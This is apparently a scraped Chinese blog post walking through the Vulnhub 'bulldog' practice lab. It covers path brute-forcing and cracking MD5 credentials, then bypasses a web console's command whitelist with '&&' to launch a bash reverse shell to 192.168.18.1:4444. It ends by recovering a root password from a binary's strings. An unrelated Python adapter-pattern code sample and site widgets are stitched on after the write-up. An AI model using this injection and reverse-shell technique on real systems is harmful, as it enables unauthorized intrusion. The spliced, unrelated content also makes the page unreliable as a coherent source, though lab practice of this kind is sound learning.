Vulnhub靶场渗透练习(三) bulldog

拿到靶场后先对ip进行扫描

获取ip  和端口

针对项目路径爆破

获取两个有用文件 

http://192.168.18.144/dev/

dev,admin  

更具dev 发现他们用到框架和语言 找到一个 shell 连接

http://192.168.18.144/dev/shell/    

反健源码 查看可以看到

丢入md5 网站解密 成功的解密2个用户

Back End: nick@bulldogindustries.com
用户名:nick,密码:bulldog (CMD5可免费解密出来)
Database: sarah@bulldogindustries.com
用户名:sarah,密码:bulldoglover (SOMD5可免费解密出来)
后台登录在访问 shell 操作地址 发现可以访问 得到一个命令控制台
有白名单限制

 

 这里想到是 && 和 ||

尝试执行

发现可以   这时候直接反弹shell

ls &&echo "bash -i >& /dev/tcp/192.168.18.1/4444 0>&1" | bash

反弹成功 输入python -c 'import pty;pty.spawn("/bin/bash")'  

在对历史操作记录查看和文件配置后并未发现有用信息  卡了很久 去看了 wp 才发现 root 密码要拆解

对 passwd 查出的用户进行 home 文件寻找信息

find / -user bulldogadmin    find / -user bulldogadmin django
(1) 发现值得关注的文件有:一个是note,一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
(2) 打开note文本文件:发现提示webserver有时需要root权限访问。
(3) 打开customPermissionApp,看上去是可执行文件,使用strings打印其中的可打印字符:
这里得到的字符太多了  又卡住了  查看其他人写的wp 发现
,英文单词包括:SUPER、 ulitimate、PASSWORD、
youCANTget,这些都与最高权限账号相关  去掉h
变成一句通顺的英文句子:SUPERultimatePASSWORDyouCANTget
直接执行 su  切换root 用户

django@bulldog:/home/django/bulldog$ sudo su -
sudo su -
[sudo] password for django: bulldog

Sorry, try again.
[sudo] password for django: SUPERultimatePASSWORDyouCANTget

尬尴 虽然进去了 但是那个root 密码拼接的是真想不出来

 

转载于:https://www.cnblogs.com/feizianquan/p/11150388.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值